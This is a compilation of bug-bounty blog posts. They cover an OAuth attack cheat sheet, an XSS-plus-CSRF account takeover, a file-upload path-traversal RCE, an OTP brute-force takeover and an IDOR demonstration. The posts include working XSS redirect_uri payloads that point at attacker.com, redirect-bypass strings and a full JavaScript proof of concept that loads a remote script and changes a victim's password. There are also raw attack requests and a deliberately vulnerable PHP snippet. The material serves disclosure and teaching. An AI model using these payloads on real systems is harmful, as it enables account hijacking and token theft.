Cheatsheet : Open Authentication - oAuth

Hey guys! I hope you all doing well, So today we're going to discuss about oAuth and its bad implantation :)



- What is oAuth ?

- IOAuth 2 is an authorization framework that enables applications to obtain limited access to user accounts on an HTTP service, such as Facebook, GitHub, and DigitalOcean. It works by delegating user authentication to the service that hosts the user account, and authorizing third-party applications to access the user account. OAuth 2 provides authorization flows for web and desktop applications, and mobile devices.

Visit https://www.digitalocean.com/community/tutorials/an-introduction-to-oauth-2 (a must read) and learn oauth working before starting testing in it :) 


What're the common bugs left in oAuth implantation ?

- XSS
- Redirect URL bypass
- CSRF
- ClickJacking 


1 - XSS 


It is possible to get both reflective and stored XSS using oAuth in developers portal of your target :-)
lets discuss how it is possible, Sometimes the value for "redirect url" is filtered for http(s) links only and hence you fail to add javascript:alert(10) in redirect url but this can be bypassed if it is not properly validating .

Payload : javascript://https://attacker.com/?z=%0Aalert(1)

Description :
As mention in previous post;
javascript:                        - Javascript's pseduo protocol/schema
//                                       - Begins a single line comment in js
https://google.com/?aaaa - comment itself
%0a                                  - Intiate a new line which ends the single line comment
alert(1)                             - a valid javascript's predefined function

Now this can trick the url validation and accepts this value in redirect url, now you can use

https://app.target.com/v1/oauth/authorize?response_type=code&client_id=xxxxxx-xxxxx
&redirect_uri=javascript://https://attacker.com/?z=%0Aalert(1)&scope=read write&state=kkkk

And bhoom XSS'ed after client app grant access, but wait what more malicious you can do here is stealing the access token given by Authorization Server. :)

There is another way for XSS is using, data uri
You can give a try to : data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4= in redirect url value :) it may work too.

http://www.paulosyibelo.com/2016/08/instagram-stored-oauth-xss.html (His blog is awesome ;) )

2 - Redirect URL bypass

Now this one is really vast,  what if you can bypass the redirect url set by developer ? that would be awesome cause you can again steal access token ;)

http://example.com is set by developer then you can bypass it if the oauth implantation is not configured well from bypasses,
some of the good bypasses are following

Source : http://nbsriharsha.blogspot.in/2016/04/oauth-20-redirection-bypass-cheat-sheet.html
  • http://example.com%2f%2f.victim.com
  • http://example.com%5c%5c.victim.com
  • http://example.com%3F.victim.com
  • http://example.com%23.victim.com
  • http://victim.com:80%40example.com
  • http://victim.com%2eexample.com

Must read : http://www.nirgoldshlager.com/2013/02/how-i-hacked-facebook-oauth-to-get-full.html (Awesome)

Another must read : http://www.nirgoldshlager.com/2013/03/how-i-hacked-any-facebook-accountagain.html (Mind blown)

3 - CSRF 

Client app approval page where you grant access to a client app sometimes vulnerable to CSRF which can be used by attacker to force victim to approve attackers app with some dangereous scope access.

3 - ClickJacking 

Client app approval page where you grant access to a client app sometimes vulnerable to ClickJacking which can be used by attacker to trick victim to approve attackers app with some dangereous scope access. Recently my 2 bugs got validated same like this ;) 

This are just some common issues there are many issues left in oauth implantation find out them :D and make money ;) 


XSS + CSRF = Bhoom!

Hello :D Everyone,

It had been a long time since I got a good bug and a bounty too :3 so after an OWASP meet where I met many leet bounty hunters I felt so much motivated, to do a bug hunt.I started poking around and all , so this is a story of a simple Full Account Takeover on a h1 private site

Reported To****************
TypesCross-Site Request Forgery (CSRF),Cross-Site Scripting (XSS)
1. Stored XSS(Required Interaction)
 I found a XSS on its main domain in Website field of user's Profile.I tried javascript:alert(1) to check if javascript could be executed but saw that it was detected as invalid so I tried to to modify the payload to use it like javascript://http://google.com/?aaaa%0aalert(1) and it worked!.For those who don't know.

javascript:                        - Javascript's pseduo protocol/schema
//                                       - Begins a single line comment in js
https://google.com/?aaaa - comment itself
%0a                                  - Intiate a new line which ends the single line comment
alert(1)                             - a valid javascript's predefined function

so It got updated on my profile. But it required Victim to click on Attacker's website by sending him the Attacker's profile page which was publicly accessible so thats how i got a simple XSS with easy bypass. Now I decided to go further before reporting and I played around a little more and I Found that in "Change Password" functionality , they don't ask for the user's old password.Well that was pretty awesome to exploit :D with the XSS we found.


2.CSRF Bypass
 Even though i had a XSS I decided to check if an anti-CSRF token was there(which was not a need since we can grab the token with XSS using xhr). I thought if we could check if CSRF token is being validated on the server side so all I did was , removed the authenticity_token parameter from the form :D and boom! it got updated without it.

#.Full Account TakeOver
so Combining XSS and no confirmation check on user's old password. I Created a POC Which takeover the victim's account by just a click on Attacker's profile's Website. All We need is the victim should be logged into his account.

Earlier while Changing the password I saw that the form was submitted to an endpoint which had a unique user id which was not publicly known
https://www.******.com/users/{UNIQUE ID}
so we just needed to grab userid and since the csrf token is not validated we don't need to grab that.

So I made XHR Request to  /account (various other end points also contained user_id in their source) to find the user_id(victim's) and grabbed that and submitted the Password Change form with that user_id







I hosted this javascript on a https domain.
var user_id;
var http=new XMLHttpRequest;
http.open("GET","https://www.*******.com/account",true);
http.send();
http.onload=function()
{
    if(http.status===200)
    {
        var html=http.responseText;
        var parser=new DOMParser;
        var dom=parser.parseFromString(html,'text/html');
      
           user_id=(dom.getElementsByClassName('edit_user')[0].id).split('_')[2];

      
    }
};
alert(user_id);
var f=document.createElement('form');
var i1=document.createElement('input');
var i2=document.createElement('input');
var i3=document.createElement('input');
var i4=document.createElement('input');
var i5=document.createElement('input');
f.action="https://www.********.com/users/"+user_id;
f.class="edit_user";
f.id="edit_user_"+user_id;
f.method="POST";
i1.name="utf8";
i1.type="hidden";
i1.value="✓";
i2.name="_method";
i2.type="hidden";
i2.value="put";
i3.id="page";
i3.name="page";
i3.type="hidden";
i3.value="password";
i4.id="user_password"
i4.name="user[password]"
i4.value="my1337pass";
i4.type="password";
i5.class="button";
i5.name="commit";
i5.type="submit";
f.appendChild(i1);
f.appendChild(i2);
f.appendChild(i3);
f.appendChild(i4);
f.appendChild(i5);
f.submit();

and entered
 javascript://http://google.com.?a%0avar x=document.createElement('script');x.src='https://myhost/script.js';document.body.appendChild(x);
in the website url and updated my(attacker's) profile.



Now all victim had to do was , to click on attacker's website and BOOM! his password got changed to 'my1337pass'.


I got a fair enough bounty :D.

Thanks to every awesome infosec people who share their knowledge.

Pwn them for Learn





Hello guys! This days i'm not much active because of college life :( but this weekend i got enough time to write about one of my Finding on a
private site :-) from which i was able to get a Remote code execution on the server :) 

Site : B*******.com
Description : Bitcoin sell and buy site 
Bug : Remote Code Execution

Ok lets start! first of all the site login system was fully different they send you "Access Code"(An 7 digit code) on the registered email whenever u want to login and it was working on Cloudflare. 

Playing around uploader : 

After login there was a page to upload documents which includes ID proof upload which have unrestricted file upload but whenever i upload php and open it, it was getting downloaded, then i started messing around uploader and giving some unsuitable characters given me server error which leaked server full path, upload script path, and server type (nginx).





Lets Read some files : 

The thing i noticed is anyfile.js was script and node-modules and things like was there (Zero knowledge in node.js) two thing was confirmed  Ngnix - Node.js, but why php wasn't executing cause HTML was executed which means stored XSS but i was looking for RCE, now one thing i was missing that nginx some times have problem with uploader so i did ../../a.php in filename which uploaded the  a.php in root directory of site, but it was still not executing :/ means php was not installed on server, as i said anyfile.js and its path was there in debug message so i opened it and i was fully shocked :O it was node.js file with Mysql login(root user :D ), SMTP mail login(gmail, the same email which sends "Access code" which means we do account takeover from here) and publicly accessible ;)




Lets shell :

Doing some more work i was able to read many files which means i got Arbitary source code read, now as i said cloudflare, Real IP was not available to me, so i started getting its IP which landed me to Email headers which leaked me Server IP, ok but the mysql port 3306 was closed (the same port was configured in anyfile.js) so i started finding another port on the same ip which given me 2 ports, ip:7788 and ip:8899, ip:8899 was clone of site, while ip:7788 have api documentations so by doing some work on ip:7788 one i got its full path which was /home/*user*/php/application/file.php :D  damn php was installed here now i gone back to port 8899 which was clone of site and used ../../../user/php/a.php and checked it on ip:7788/a.php and bhoom php executed :D 




./My reaction : Lets get into it xD but as Whitehat i can't, it will violate program's policy




./Root cause : 
Uploader miss configured in 2 ways -> allowed php and directory change (most probably cause of nginx) --- --- --- Eq. 1 
Leak of full path of a server which had php installed. -- --- --- Eq. 2

By Combining Eq1 and Eq2 ; Eq1 + Eq2 = RCE

./Game Over
./Bounty awarded
./Special Thanks to Waleed, Rahul Maini, Daniel;

Veris.in Account Takeover

Hey Guys! Today I'll share you my Account takeover finding on Veris.in, So no more waste of time and start.



I installed Android app of Veris and started testing it, In Veris app we need to first verify our number and then we can register, While doing this i captured my request and try to bruteforce the OTP and noticed that there was no rate limitation so now i can use anyone's number in my account. So i did reported it, Now that was not a big deal, Then i started testing further after so many things my mind just noticed that every request have this type of structure,

POST /api/v1/*Any Functionality*/ HTTP/1.1
Authorization: token b910cxxx2ac02f3a8xxxxxxxxxxxxxxxxxxxxxxx
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1; )
Host: live.veris.in
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Length: 26

The thing i noticed that there is not like user session thing, it was working on a token ( In Authorization Header) Which is an authorization to API of veris but my mind said "from where did it came from :O like i have not entered any password" And then i said "Oh lol i entered One Time Password", 

So what happening here is when we enter number it sends a OTP to it and then after OTP verification it generates a token to authenticate us with API and check is the number match with any account in database, if does exist we'll be logged in that account. Now as i mentioned earlier "No Rate Limit on OTP" Now i can use this to generate OTP for your number and get a token for it by bruteforcing and Bhoom I can use the token to modify info of your account.

POST /api/v1/change_email/ HTTP/1.1
Authorization: token **BRUTEFORCED TOKEN GOES HERE**
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1; )
Host: live.veris.in
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Length: 26

{"email":"hacker@hack.com"}

If the number is NOT registered it will give a response like this one (Token Generated)

If the number is registered it will give a response like this one (Token Generated)

Video Proof of Concept






400$ WORTH IDOR AND IDOR EXPLAINED

Hello Everyone out there! This days i’m busy with some other stuff but after a long interval of time in April i again started to hunt bugs to get some bulks for my vacation trip lol :p . When i started hunting in April, I set my aim to InvisionApp.com.

What is IDOR ?
In simple words we can say, taking actions from another user’s account from your account without any interaction with user.

Why IDOR happen?
This happen when a backend have lack of authentication check, check my bellow explanation if you want to understand it
Suppose a web app is deleting user account in this way,

Delete Account form
1
2
3
4
<form method="post" action="http://vulnerable.com/user/delete_account/">
<input type="hidden" name="user_id" value="12345678">
<input type="submit" value="Delete Account">
</form>

Code working on /user/delete_account/
1
2
3
4
5
6
7
8
9
10
11
<?php
include "connection_db.php";
$user_id = $_POST['user_id'];
$sql = "DELETE FROM user WHERE id={$user_id}";
if ($conn->query($sql) === TRUE) {
    echo "User account deleted successfully";
} else {
    echo "Error deleting user account " . $conn->error;
}
?>

Okay as you seen there is no authentication check whenever a valid user_id value will be given and if it exist in DB it will be deleted which is so critical, this can be prevented in many ways like session check a password verification and many  other ways. i hope now you understood how IDOR works now please read bellow PoC.

While testing InvisionApp i came across Board section where you can make board and post in it and anyone can comment on it only ADMIN of board have rights to delete any other comment. So i created two accounts one was admin and one was normal user, and tried to delete Admin’s comment. So let me be in short bellow is the reproduction steps,


Steps to Reproduce : “A” Admin & “B” Attacker

1- Sign in from 2 different accounts ( A & B ) in 2 different browsers ( or use incognito as 2nd browser )
2- Now go to “A” account and create a board and add anything in it.
3- Comment from both “A” & “B” account.
4- Note down comment id of vitim’s comment ( Means ID of “A” )
5- Now go to “B” account, and capture the request while deleting comment of “B” account and change comment id (of “A” account) in URL ( Example : api/board/item/comment/*COMMENT ID* )
In “B” account u do not have option to delete comment of admin which is “A”
6- Status will be “200 OK” and comment should be deleted of another account


HTTP Request Example

DELETE /api/board/item/comment/*VICTIM COMMENT ID* HTTP/1.1
Host: projects.invisionapp.com
Connection: keep-alive
X-Timezone-Offset: -420
Origin: https://projects.invisionapp.com
X-XSRF-TOKEN: dTK57p6DW5mteX-nBBanCmeza0RUvUaI1JksYSQF0cU
User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36
X-Referrer-Hash: #/boards/2636413/80399396
Accept: application/json, text/plain, /
X-Page-Loaded-At: 1459747535276
Referer: https://projects.invisionapp.com/d/main
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Cookie: ** Cookies Goes Here **

Bug Timeline :
3rd April : Reported Bug.
6th April : Triaged.
10th April : Given to developers to fix.
14th April : Asked to confirm the fix.
14th April : Fix confirmed by me
15th April : Rewarded with 400 USD

Video Poc :